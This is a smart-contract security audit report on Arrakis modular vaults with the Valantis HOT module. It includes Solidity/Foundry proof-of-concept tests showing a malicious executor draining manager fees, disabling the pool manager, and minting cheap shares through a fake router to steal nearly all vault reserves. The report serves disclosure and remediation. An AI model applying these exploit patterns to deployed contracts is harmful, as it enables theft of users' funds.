

SHERLOCK SECURITY REVIEW FOR



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Introduction

Building trustless market making infrastructure & strategies on Uniswap V3. Unlock your liquidity's greatest potential.

Scope

Repository: ArrakisFinance/arrakis-modular

Branch: main

Commit: f150eb247d924187aa8e23c2684fb576cdbcdb9c

Repository: ValantisLabs/valantis-sot

Branch: main

Commit: 9bfa0817521c71db1b932a28fada56bc7834631f

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
1	6

Issues not fixed or acknowledged

Medium	High
0	0



Security experts who found valid issues

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Issue H-1: A malicious executor can delete the fees belonging to the owner of ArrakisStandardManager

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/8

Found by

juaan

Summary

The contest README states that the executor of ArrakisStandardManager is a RESTRICTED role during rebalance action on vaults.

This report shows a way for the executor to call ArrakisStandardManager::rebalance() with a malicious payload, which ends up stealing the accrued manager fees and re-depositing them into the pool's liquidity.

Vulnerability Detail

On calling rebalance(), it makes a call to the module, with provided payloads_ from the executor:

```
(bool success,) = address(module).call(payloads_[i]);
```

For this attack, the payload's function signature will be of the swap() function in the ValantisHOTModule

The swap() function essentially does these 3 things:

- 1. Withdraw liquidity from the pool (via ALM)
- 2. Do an arbitrary call to an arbitrary address (router_.call(payload_))
- 3. Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds.

However, a malicious executor can use this arbitrary call to execute any admin function in other contracts (HOT, SovereignPool) that only this module is allowed to call.

The issue with the above is that the swap() function has a slippage check after step 2:



This means that in order for the swap() to not revert, the balance of the output token must increase by at least expectedMinReturn_ during step2.

Now due to the _checkMinReturn check that is done at the start of swap() , the expectedMinReturn_ must be at least 1.

Hence, in step 2, trying to call admin functions like HOT.setFeeds() will revert since no tokens are sent in to the contract during this call, so it fails the slippage check shown above. This is the case for most admin functions except for two, one of which is SovereignPool.claimPoolManagerFees:

We can see that the pool manager fees are sent to msg.sender which is the module. This will increase the module's balance during step 2, allowing it to pass the slippage check.

Then, these claimed manager fees will be deposited back to the pool in step3, effectively deleting the accrued manager fees. (All of this is proven in the coded



PoC)

In addition to the above fund loss, since poolManager is updated to address(0), any onlyPoolManager functions within the pool will revert.

Impact

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious executor and never claimable by the manager.

Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run it, add the following code to a new file within the arrakis-modular/test/integration directory. Then run forge test --mt test_stealManagerFees in the terminal.

```
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";
// Arrakis Imports
import {IArrakisMetaVaultPublic} from
 "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
 "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
 "../../src/interfaces/IArrakisStandardManager.sol";
// Valantis Imports
import {IValantisHOTModule} from
 "../../src/interfaces/IValantisHOTModule.sol";
import {SovereignPool} from
"../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {HOT} from "@valantis-hot/contracts/HOT.sol";
// Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";
contract PoC_StealManagerFees is ValantisIntegrationPublicTest {
```



```
address attacker;
address rec;
function test_stealManagerFees() public {
 rec = makeAddr("rec");
 attacker = makeAddr("attacker");
 address m = address(IArrakisMetaVault(vault).module());
 assertEq(pool.poolManager(), m);
 deal(address(token0), rec, init0); // 2000e6 (0: USDC)
 deal(address(token1), rec, init1); // 1e18
 (1: WETH)
 // user mints from meta vault
 vm.startPrank(rec);
 token0.approve(m, init0);
 token1.approve(m, init1);
 IArrakisMetaVaultPublic(vault).mint(1e18, rec);
 vm.stopPrank();
 uint256 FEE_AMOUNT_0 = 1 wei;
 uint256 FEE_AMOUNT_1 = 1 wei;
 // Simulating 1 wei of fees in the `SovereignPool`
 vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0));
 vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1));
 // Sending the fee to the pool
 deal(address(token0), address(pool), token0.balanceOf(address(pool)) +

← FEE_AMOUNT_0);

 deal(address(token1), address(pool), token1.balanceOf(address(pool)) +

← FEE_AMOUNT_1);

 bool zeroForOne = false;
 uint256 amountIn = 1; // Using small values since we are not actually
 uint256 expectedMinReturn = 1;
 // payload that claims the fees and sends it to the LPModule
 bytes memory payload = abi.encodeWithSelector(
 SovereignPool.claimPoolManagerFees.selector,
 0,
 0
);
 bytes memory data = abi.encodeWithSelector(
```

```
IValantisHOTModule.swap.selector,
 zeroForOne,
 expectedMinReturn,
 amountIn,
 address(pool),
 0, //note: this 0,0 lets us skip the checks in
 → `HOT::_checkSpotPriceRange` during depositLiquidity
 0,
 payload
);
 bytes[] memory datas = new bytes[](1);
 datas[0] = data;
 (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
 // Perform the attack
 vm.prank(executor);
 IArrakisStandardManager(manager).rebalance(vault, datas);
 (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();
 // Assert that fees meant for the manager were re-deposited
 assertEq(reservesOAfter, reservesOBefore + FEE_AMOUNT_0);
 assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1);
 // Assert that the remaining fees is 0
 (uint256 fee0, uint256 fee1) = pool.getPoolManagerFees();
 assertEq(fee0, 0);
 assertEq(fee1, 0);
}
```

# **Code Snippet**

# The arbitrary call to the arbitrary address:

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L 375-L378

# minReturn check that is bypassed by the fees claimed:

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L 384-L397



# Tool used

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# Recommendation

Don't allow the router\_ parameter in ValantisModule to be the SovereignPool associated with this module.

```
+ if (router_ == address(pool)) revert();
```

# **Discussion**

# WangSecurity

This is the new family based on the escalation on #28

#### sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: <a href="https://github.com/ArrakisFinance/arrakis-modular/pull/88">https://github.com/ArrakisFinance/arrakis-modular/pull/88</a>

#### sherlock-admin2

The Lead Senior Watson signed off on the fix.



# Issue H-2: Incorrect handling of first deposit for new modules leads to all liquidity sent to vault manager

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/27

# Found by

cu5t0mPe0, juaan

# **Summary**

See detail.

# **Vulnerability Detail**

The following logic is implemented in ValantisHOTModulePublic.deposit():

```
(uint256 _amt0, uint256 _amt1) = pool.getReserves();

if (!notFirstDeposit) {
 if (_amt0 > 0 || _amt1 > 0) {

 // #region send dust on pool to manager.
 address manager = metaVault.manager();
 alm.withdrawLiquidity(_amt0, _amt1, manager, 0, 0);
 // #endregion send dust on pool to manager.

}
 _amt0 = _init0;
 _amt1 = _init1;
 notFirstDeposit = true;
}
```

This code assumes that the reserves of the pool (\_amt0, \_amt1) will be dust amounts.

# The case that the protocol did not consider:

This module could be a new module that was set via ArrakisMetaVault.setModule().

When setModule() is called, it withdraws all the liquidity through the old module:

```
module.withdraw(module, BASE);
// BASE means withdraw 100% of the liquidity
```



(\_module is the old module, and module\_ is the newly set one)

Then, all the funds are directly transferred to the new module, and initializePosition is called to deposit it into the pool.

This issue is that the notFirstDeposit boolean is still false, indicating that the first deposit has not yet occured.

Then when the first deposit occurs in the module, the 'dust removal' logic shown earlier is triggered in the the new module.

However all the liquidity from the old module has been deposited via the new one.

This means that \_amt0 and \_amt1 will not be dust, as they represent the entire liquidity of the pool.

Then, as shown in the PoC, the 'dust removal' logic withdraws the entire liquidity of the pool, and sends it to the manager of the meta vault (ArrakisStandardManager).

So far, while this is already a severe error, it's not all bad since the owner of ArrakisStandardManager is trusted, and they can withdraw the funds via withdrawManagerBalance() and return the funds so that users don't lose any funds.

However, it gets even worse, because a malicious executor can DOS the withdrawManagerBalance() function for that specific vault. There is a PoC for the DOS in the 'Proof of Concept' section of this report, but here is the summary:

- Malicious executor calls ArrakisStandardManager.rebalance(), with malicious payload
- It ends up calling pool.setPoolManager(address(0))
- Now pool.claimPoolManagerFees() will revert since the ValantisHOTModule is no longer the pool manager
- Hence, withdrawManagerBalance() will revert since it requires pool.claimPoolManagerFees() to be called via the module.
- Note: the malicious executor would have to first execute a swap on the new pool to make the managerFee variable non-zero so that the expectedMinReturn passed in to within ValantisHOTModule.swap() of 1 can be met. (see PoC to understand)

# **Impact**

100% of the pool liquidity is lost after the first deposit occurs in a new module. It is sent to the ArrakisStandardManager

The value of everyone's shares in the vault goes to effectively zero.



Then due to the DOS by the malicious executor, the funds cannot be withdrawn from the manager by calling withdrawManagerBalance(vault).

The only way would be to deploy an entirely new vault with the same token0 and token1, and then calling withdrawManagerBalance(newVault) to collect the tokens from the ArrakisStandardManager contract.

# **Code Snippet**

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd338669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.s ol#L53-L69

# **Proof of Concept**

Make new files in arrakis-modular/test/integration to run these PoCs.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ~0.8.19;
// Foundry imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {ArrakisMetaVaultPublic} from
 "../../src/ArrakisMetaVaultPublic.sol";
 import {ArrakisMetaVault} from
 "../../src/abstracts/ArrakisMetaVault.sol";
import {TimeLock} from
 "../../src/TimeLock.sol";
import {ArrakisStandardManager} from
 "../../src/ArrakisStandardManager.sol";
import {IModuleRegistry} from
 "../../src/interfaces/IModuleRegistry.sol";
import {ValantisModulePublic} from
 "../../src/modules/ValantisHOTModulePublic.sol";
import {TEN_PERCENT} from "../../src/constants/CArrakis.sol";
import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol";
import {IArrakisMetaVaultPublic} from
 "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
 "../../src/interfaces/IArrakisMetaVault.sol";
```



```
import {IOwnable} from "../../src/interfaces/IOwnable.sol";
import {SovereignPool} from
→ "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {OracleWrapper} from "./mocks/OracleWrapper.sol";
import {SovereignPoolMock} from "./mocks/SovereignPoolMock.sol";
import {SovereignALMMock} from "./mocks/SovereignALMMock.sol";
//Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";
contract PoC_FundsSentToArrakisManager_Incorrectly is
→ ValantisIntegrationPublicTest {
 address vaultManager;
 address minter;
 address public constant OWNER_EOA =
→ 0x529a65684a6923958ab6b7DF7B909a8D5e1580ae;
 function test_fundsSentTo_ArrakisManager_incorrectly() public {
 // #region Vault Init
 minter = makeAddr("minter");
 vaultManager = IArrakisMetaVault(vault).manager();
 deal(address(token0), minter, init0); // 2000e6 (0: USDC)
 deal(address(token1), minter, init1); // 1e18 (1: WETH)
 vm.label(address(token0), "token0");
 vm.label(address(token1), "token1");
 address oldModule = address(IArrakisMetaVault(vault).module());
 SovereignPoolMock newPool = new SovereignPoolMock();
 newPool.setTokenOAndToken1(address(token0), address(token1));
 //User mints from meta vault, using old module
 vm.startPrank(minter);
 token0.approve(oldModule, init0);
 token1.approve(oldModule, init1);
 IArrakisMetaVaultPublic(vault).mint(1e18, minter);
 vm.stopPrank();
 // #endregion Vault Init
```

```
console.log(
 "\n [Before]\n Old Pool's Balance:\n token0: %e\n token1: %e",
 token0.balanceOf(address(pool)),
 token1.balanceOf(address(pool))
);
 console.log(
 "ArrakisStandardManager's Before:\n token0: %e\n token1: %e",
 token0.balanceOf(address(vaultManager)),
 token1.balanceOf(address(vaultManager))
);
 TimeLock timelock = TimeLock(payable(IOwnable(vault).owner()));
 // Initialisation Data for the newly whitelisted module
 bytes[] memory initData = new bytes[](1);
 initData[0] = abi.encodeWithSelector(
 ValantisModule.initialize.selector,
 address(newPool), 1e18, 1e18, 1e5, vault
);
 bytes memory whitelistModulesPayload = abi.encodeWithSelector(
 ArrakisMetaVault.whitelistModules.selector,
 IModuleRegistry(moduleRegistry).beacons(), // use the existing
→ module implementation, no changes needed
 initData
);
 //Whitelist the new module
 vm.startPrank(OWNER_EOA);
 timelock.schedule(vault, 0, whitelistModulesPayload, bytes32(0),
→ bytes32(uint256(0xff)), 2 days);
 vm.warp(block.timestamp + 2 days);
 timelock.execute(vault, 0, whitelistModulesPayload, bytes32(0),

 bytes32(uint256(0xff)));

 vm.stopPrank();
 bytes memory almPayload = abi.encodeWithSelector(
 ValantisModule.setALMAndManagerFees.selector,
 address(new SovereignALMMock(address(token0), address(token1),

→ address(newPool))),
 oracle
);
 address[] memory modules =
 ArrakisMetaVaultPublic(vault).whitelistedModules();
 // set ALM for the new module
```

```
//note: A mock ALM is used for simplicity of setup, but it will still
\hookrightarrow work with a real ALM
 vm.startPrank(OWNER_EOA);
 timelock.schedule(modules[1], 0, almPayload, bytes32(0),

 bytes32(uint256(0xff)), 2 days);

 vm.warp(block.timestamp + 2 days);
 timelock.execute(modules[1], 0, almPayload, bytes32(0),
→ bytes32(uint256(0xff)));
 vm.stopPrank();
 // A call will be made to the new module to initialize the LP position
 bytes[] memory payloads = new bytes[](1);
 // initializePosition (Deposits liquidity into ALM)
 payloads[0] = abi.encodeWithSelector(
 ValantisModule.initializePosition.selector
);
 // Set the module and pass in payload
 vm.startPrank(executor);
 ArrakisStandardManager(payable(manager)).setModule(vault, modules[1],
 payloads);
 console.log(
 "\n [After Setting New Module and Initializing Position]\n New
 Pool's Balance:\n token0: %e\n token1: %e",
 token0.balanceOf(address(newPool)),
 token1.balanceOf(address(newPool))
);
 console.log(
 "ArrakisStandardManager's Balance After:\n token0: %e\n token1: %e",
 token0.balanceOf(vaultManager),
 token1.balanceOf(vaultManager)
);
 assertEq(token0.balanceOf(address(newPool)), 2e9);
 assertEq(token1.balanceOf(address(newPool)), 1e18);
 deal(address(token0), minter, init0); // 2000e6 (0: USDC)
 deal(address(token1), minter, init1); // 1e18
 address newModule = modules[1];
 //Now, a minter mints shares from the vault, as the first depositor
 vm.startPrank(minter);
 token0.approve(newModule, 1e3);
 token1.approve(newModule, 1e3);
```

```
IArrakisMetaVaultPublic(vault).mint(1e3, minter);
 vm.stopPrank();
 // Assert that the entire liquidity has been sent to the
 ArrakisStandardManager
 assertEq(token0.balanceOf(vaultManager), 2e9);
 assertEq(token1.balanceOf(vaultManager), 1e18);
 console.log(
 "\n [After First Deposit]\n New Pool's Balance:\n token0: %e\n

→ token1: %e",
 token0.balanceOf(address(newPool)),
 token1.balanceOf(address(newPool))
);
 console.log(
 "ArrakisStandardManager's Balance After:\n token0: %e\n token1: %e",
 token0.balanceOf(vaultManager),
 token1.balanceOf(vaultManager)
);
```

Note: the DOS has a separate PoC since it does not use any mocks, while the first PoC uses 2 mocks for simplicity of setup



```
"../../src/interfaces/IValantisHOTModule.sol";
import {SovereignPool} from
→ "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {HOT} from "@valantis-hot/contracts/HOT.sol";
// General Imports
import {IOwnable} from "../../src/interfaces/IOwnable.sol";
// Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";
contract PoC_ChangePoolManager_ToZeroAddress is ValantisIntegrationPublicTest {
 address attacker;
 address rec;
 function test_old_changePoolManager_toZeroAddress() public {
 rec = makeAddr("rec");
 attacker = makeAddr("attacker");
 address m = address(IArrakisMetaVault(vault).module());
 assertEq(pool.poolManager(), m);
 deal(address(token0), rec, init0); // 2000e6 (0: USDC)
 deal(address(token1), rec, init1); // 1e18 (1: WETH)
 //@e user mints from meta vault
 vm.startPrank(rec);
 token0.approve(m, init0);
 token1.approve(m, init1);
 IArrakisMetaVaultPublic(vault).mint(1e18, rec);
 vm.stopPrank();
 uint256 FEE_AMOUNT_0 = 1 wei;
 uint256 FEE_AMOUNT_1 = 1 wei;
 //@e Simulating 1 wei of fees in the `SovereignPool`
 vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0));
 vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1));
 // Sending the fee to the pool
 deal(address(token0), address(pool), token0.balanceOf(address(pool)) +
 FEE_AMOUNT_0);
```

```
deal(address(token1), address(pool), token1.balanceOf(address(pool)) +
 FEE_AMOUNT_1);
 bool zeroForOne = false;
 uint256 amountIn = 1; // Using small values since we are not actually
→ swapping anything
 uint256 expectedMinReturn = 1;
 //uint256 lowestRatio =
 FullMath.mulDiv(IOracleWrapper(oracle).getPrice1(), 1e6 -
 IValantisHOTModule(m).maxSlippage(), 1e6);
 //uint256 lowest_expectedMinReturn = 1+ FullMath.mulDiv(lowestRatio,
 amountIn, 10 ** ERC20(token1).decimals());
 bytes memory payload = abi.encodeWithSelector(
 SovereignPool.setPoolManager.selector,
 address(0) // new poolmanager
);
 bytes memory data = abi.encodeWithSelector(
 IValantisHOTModule.swap.selector,
 zeroForOne,
 expectedMinReturn,
 amountIn,
 address(pool),
 0, //note: this 0,0 lets us skip the checks in
 `HOT::_checkSpotPriceRange` during depositLiquidity
 0,
 payload
);
 bytes[] memory datas = new bytes[](1);
 datas[0] = data;
 (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
 // Perform the attack
 vm.prank(executor);
 IArrakisStandardManager(manager).rebalance(vault, datas);
 (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();
 assertEq(pool.poolManager(), address(0));
 // Assert that fees meant for the manager were re-deposited
 assertEq(reservesOAfter, reservesOBefore + FEE_AMOUNT_0);
```

```
assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1);

// Assert that the function cannot be called anymore
vm.startPrank(IOwnable(manager).owner());
vm.expectRevert();
IArrakisStandardManager(manager).withdrawManagerBalance(address(vault));
}
}
```

#### Tool used

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#### Recommendation

Rework the code, while keeping in mind that the initial balances may not be dust.

#### **Discussion**

# **Oxjuaan**

Escalate

This is not a dupe of #28, but instead should be duped with #25 and #14

#### sherlock-admin3

Escalate

This is not a dupe of #28, but instead should be duped with #25 and #14

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

#### WangSecurity

@0xjuaan correct me if I'm wrong, but as I understand, this issue is possible currently, unlike #25 which is possible only after the fix of this issue correct?

#### **Oxjuaan**

yes that is correct @WangSecurity

# WangSecurity



Planning to accept the escalation and make a new high severity issue family with #14 as duplicate.

# **IWildSniperI**

@WangSecurity

So far, while this is already a severe error, it's not all bad since the owner of ArrakisStandardManager is trusted, and they can withdraw the funds via withdrawManagerBalance() and return the funds so that users don't lose any funds.

The bug is yet dependant on the root cause of malicious '\_router' unverified call In 'setPoolManager' call

# WangSecurity

@IWildSniperl yep, that's what I'm trying to understand on all the issues involving malicious executor and payloads

# WangSecurity

Depending on the discussion under #50. The decision remains the same. I'm planning to separate bugs where the malicious executor exploits the protocol via malicious payloads in rebalance and setModule cause these 2 functions have significantly different implementations. This and #14 are not duplicates of #50 based on this comment.

Planning to accept the escalation and make a new issue family with high severity. Duplicate is #14

# WangSecurity

Result: High Has duplicates

#### sherlock-admin2

Escalations have been resolved successfully!

**Escalation status:** 

• Oxjuaan: accepted

#### sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: <a href="https://github.com/ArrakisFinance/arrakis-modular/pull/88">https://github.com/ArrakisFinance/arrakis-modular/pull/88</a>

#### sherlock-admin2

The Lead Senior Watson signed off on the fix.



# Issue H-3: Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/44

# Found by

juaan

# **Summary**

The contest README states the following:

Executor of ArrakisStandardManager is RESTRICTED during rebalance action on vaults.

This is a complex attack performed by a malicious executor to drain a vault during rebalance.

It requires at least one of the tokens to be a rebase token, since it requires the pool reserves to be increased without calling HOT.depositLiquidity()

# **Vulnerability Detail**

On calling <u>rebalance()</u>, it makes a call to the module, with provided payloads\_ from the executor:

```
(bool success,) = address(module).call(payloads_[i]);
```

For this attack, the payload's function signature will be of the <a href="mailto:swap()">swap()</a> function in the ValantisHOTModule

The swap() function essentially does these 3 things:

- 1. Withdraw liquidity from the pool (via ALM)
- 2. Do an arbitrary call to an arbitrary address (router\_.call(payload\_))
- 3. Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds. However, since the router\_ param is not checked, a malicious executor can pass in any address they want.



#### **Root Cause**

After step 1, the pool's reserves for both tokens is 0. Then in step 2, the executor can mint vault shares at a very cheap price, since the price depends on the pool's reserves.

# **Attack Details**

However, when pool reserves are equal to 0 , depositing liquidity will fail due to the error:  $SovereignPool\_depositLiquidity\_zeroTotalDepositAmount$  . To solve this, the executor must be able to somehow slightly increase the values returned by pool.getReserves()

For non-rebase tokens, the only way would be to increase reserve0 or reserve1 in the pool, but this would require depositing liquidity, which would revert since the reserves are 0.

However for rebase tokens, the reserves are calculated via:

```
reserve = _token0.balanceOf(address(this));
```

This can be inflated by the executor since they simply have to send the token to the pool.

Now after step2, the swap() function also has a check to ensure that expectedMinReturn\_ is met.

To ensure that this doesn't revert, the executor simply passes <code>expectedMinReturn=1</code> (O can't be used due to <code>\_checkMinReturn()</code>) and <code>amountIn=1</code>, and sends 1 wei of the output token to the module, to meet the minimum expected return.

Note that the additional TVL slippage checks in rebalance() are not effective at preventing this attack, since the attacker redeems their vault shares after the rebalance is over.

# **Summary of Attack (see PoC for implementation):**

- 1. Malicious executor calls ArrakisStandardManager.rebalance()
- 2. ValantisModule.swap() is called, with expectedMinReturn=1 and amountIn=1 and zeroToOne=false
- 3. This executes router\_.call(payload), which calls mintFreeShares() on the attacker's fake router contract
  - 1. This function call first sends 1 wei of token0 and token1 to the SovereignPool, so that the reserves are non-zero



- 2. Then, it mints 100e18 vault shares, for the price of 100 wei (since the liquidity was withdrawn in step1 of the swap() function)]
- 3. It sends 1 wei of token0 to the module, so that the expectedMinReturn\_ check does not revert
- 4. The remainder of ValantisModule.swap() occurs, re-depositing funds into the pool.
- 5. Attacker calls Vault.burn(100e18, attacker) to burn the 100e18 shares, stealing over 99% of the vault's funds.

Ultimately, the attacker is able to steal 99% of the pool's reserves, while spending 100 wei of each token, which is a negligible cost.

# **Impact**

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious executor and never claimable by the manager.

# **Proof of Concept**

Here is a coded proof of concept demonstrating the vulnerability in action.

To run the PoC:

- 1. Add the following test contract to a new file within the arrakis-modular/test/integration directory.
- 2. Make the following minor change in ValantisIntegrationPublicTest.sol, to configure the pool with rebase tokens

```
SovereignPoolConstructorArgs memory poolArgs =
 _generateDefaultConstructorArgs();
+poolArgs.isTokenORebase = true;
+poolArgs.isToken1Rebase = true;
```

3. Then run forge test --mt test\_maliciousExecutor\_mintsFreeShares -vv in the terminal.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";
```



```
// Arrakis Imports
import {IOracleWrapper} from "../../src/interfaces/IOracleWrapper.sol";
import {ArrakisMetaVaultPublic} from
 "../../src/ArrakisMetaVaultPublic.sol";
import {ArrakisStandardManager} from
 "../../src/ArrakisStandardManager.sol";
import {IArrakisMetaVaultPublic} from
 "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
 "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
 "../../src/interfaces/IArrakisStandardManager.sol";
import {IValantisHOTModule} from
 "../../src/interfaces/IValantisHOTModule.sol";
// Valantis Imports
import {HOT} from "@valantis-hot/contracts/HOT.sol";
import {IValantisHOTModule} from
 "../../src/interfaces/IValantisHOTModule.sol";
// General Imports
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Base test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";
contract FreeShares is ValantisIntegrationPublicTest {
 address attacker;
 address rec;
 function test_maliciousExecutor_mintsFreeShares() public {
 attacker = makeAddr("attacker");
 rec = makeAddr("rec");
 // Malicious executor's balance before rebalancing
 console.log("[BEFORE]:\n executor's balance- token0: %e, token1: %e",

 token0.balanceOf(executor), token1.balanceOf(executor));

 vm.startPrank(executor);
 deal(address(token0), rec, init0); // 2000e6 (0: USDC)
 deal(address(token1), rec, init1); // 1e18 (1: WETH)
 address m = address(IArrakisMetaVault(vault).module());
```

```
//@e user mints from meta vault
 vm.startPrank(rec);
 token0.approve(m, init0);
 token1.approve(m, init1);
 IArrakisMetaVaultPublic(vault).mint(1e18, rec);
 vm.stopPrank();
 // Setup ScamRouter
 ScamRouter scamRouter = new ScamRouter(token0, token1, address(vault),
 executor, address(pool));
 deal(address(token0), address(scamRouter), 150 wei);
 deal(address(token1), address(scamRouter), 150 wei);
 (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
 console.log("Pool TVL Before: %e USDC", _getPoolTVL(reservesOBefore,

¬ reserves1Before));
 bool zeroForOne = false;
 uint256 amountIn = 1;
 uint256 expectedMinReturn = 1;
 // This is the payload sent to the `router_` within `HOTModule.swap()`-
→ called from `StandardManager.rebalance()`
 bytes memory router_payload = abi.encodeWithSelector(
 ScamRouter.mintFreeShares.selector
);
 bytes memory payload = abi.encodeWithSelector(
 IValantisHOTModule.swap.selector,
 zeroForOne,
 expectedMinReturn,
 amountIn,
 address(scamRouter),
 0,
 0,
 router_payload // to send to the fake router
);
 bytes[] memory datas = new bytes[](1);
 datas[0] = payload;
 vm.prank(executor);
 IArrakisStandardManager(manager).rebalance(vault, datas);
```

```
vm.prank(executor);
 ArrakisMetaVaultPublic(vault).burn(100e18, executor);
 console.log("[AFTER]:\n executor's balance- token0: %e, token1: %e",

 token0.balanceOf(executor), token1.balanceOf(executor));

 // Pool reserves
 (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();
 console.log("Pool TVL After: %e USDC\n", _getPoolTVL(reservesOAfter,

¬ reserves1After));
 console.log("Token0 (USDC) Reserves Before->After: %e->%e",

¬ reserves0Before, reserves0After);

 console.log("Token1 (ETH) Reserves Before->After: %e->%e",
→ reserves1Before, reserves1After);
 uint256 executorTotalValue = _getPoolTVL(token0.balanceOf(executor),

 token1.balanceOf(executor));

 function _getPoolTVL(uint256 a, uint256 b) internal view returns (uint256){
 return a + b * IOracleWrapper(oracle).getPrice1() /
contract ScamRouter {
 // This will deposit to get free shares
 ERC20 public token0;
 ERC20 public token1;
 ArrakisMetaVaultPublic vault;
 address pool;
 address owner;
 constructor(ERC20 t0, ERC20 t1, address _vault, address _owner, address
→ _pool) {
 token0 = t0;
 token1 = t1;
 vault = ArrakisMetaVaultPublic(_vault);
 owner = _owner;
 pool = _pool;
```

```
function mintFreeShares() external {
 address module = address(vault.module());

 token0.transfer(pool, 1 wei);
 token1.transfer(pool, 1 wei);

 token0.approve(module, 100 wei);

 token1.approve(module, 100 wei);

 vault.mint(100e18, owner);

 token0.transfer(msg.sender, 1 wei); // prevent expectedMinReturn from
 failing (since we didnt swap anything)
 }
}
```

# **Console Output:**

As you can see, the pool TVL dropped from 4000 USDC to ~40 USDC. Over 99% of the pool's reserves were stolen in a single transaction by the malicious executor.

# **Code Snippet**

# The arbitrary call to the arbitrary router\_

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L 375-L378

# expectedMinReturn\_check that is bypassed by sending 1 wei

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L 384-L397

# Tool used

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#### Recommendation

Do not allow HOT.depositLiquidity() to be called during a rebalance.

# **Discussion**

cu5t0mPeo



escalate not dups of <a href="https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76">https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76</a> the issue should be dups of

https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.

#### sherlock-admin3

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You've created a valid escalation!

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#### **IWildSniperI**

i would say all of them are dups to the same issue which is this

malicious payload with not checked \_router call either this is used to gain leverage to the system or to steal funds

cause either way this specific low level call is the Root Cause

# **Oxjuaan**

Escalate

A different escalation to the first one.

This should be a high, since 99% of vault liquidity is stolen.

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# WangSecurity

@0xjuaan do you agree it's a duplicate of #28?



# **Oxjuaan**

@WangSecurity no these are both very different.

This one involves stealing all the vault funds via minting cheap shares during rebalance.

#28 involves calling claimPoolManagerFees instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.

# **IWildSniperI**

@WangSecurity hello sir, would you kindly elaborate to me dups rules <u>here</u> multiple issues here identifying this low level call here by malicious executor

```
{
 (bool success,) = router_.call(payload_);
 if (!success) revert SwapCallFailed();
}
```

in ValantisModule::swap() as different issues cause they are showing different attack path that can hurt the protocol what i see is that if ever in the payload the router address verified all of the issues would be resolved hinting that they are same root cause

# WangSecurity

Before we continue the discussion about this specific report, let's do the following:

